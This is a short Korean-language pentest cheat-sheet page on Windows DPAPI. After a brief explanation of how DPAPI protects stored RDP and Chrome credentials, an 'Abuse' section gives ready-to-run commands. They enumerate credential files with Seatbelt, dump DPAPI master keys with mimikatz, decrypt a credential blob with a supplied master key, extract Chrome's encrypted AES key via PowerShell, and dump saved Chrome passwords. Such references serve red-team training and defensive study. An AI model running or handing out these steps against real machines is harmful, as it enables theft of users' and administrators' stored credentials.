DPAPI
Data Protection API는 Windows에 내장된 구성 요소로 데이터를 암호화하고 복호화 할 수 있는 수단을 제공합니다. Windows Credential Manager가 RDP 자격 증명과 같은 저장된 시크릿을 보관하는데 사용되며, Chrome 등의 서드파티 애플리케이션에 저장된 자격 증명 정보를 저장하기도 합니다.
Abuse
# 크리덴셜 열거
.\Seatbelt.exe WindowsCredentialFiles
# 마스터키 덤프
mimikatz # sekurlsa::dpapi
# 획득한 마스터키를 통해 DPAPI 복호화
mimikatz # dpapi::cred /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A7D1003DF0C547F74DDB9D9D4340F2C" /masterkey:c1751582b34777735b5bb64e4d7e3cd3f9f70ada4ea16f378603f194397c15d5dfac3ae7f93829645aa26e2bdb73b204c97915b8b71dd9cb4fe54d815ff65c31
# DPAPI로 암호화된 AES 키 추출
$jsonText = Get-Content -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" -Raw -Encoding UTF8;$jsonText = $jsonText.TrimStart([char]0xFEFF);$data = $jsonText | ConvertFrom-Json;$encryptedKeyBase64 = $data.os_crypt.encrypted_key;Write-Output $encryptedKeyBase64
# 추출한 키를 통해 Chrome에 저장된 자격 증명 덤핑
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:[Base64 Encoded Key] /unprotect
References
Last updated
Was this helpful?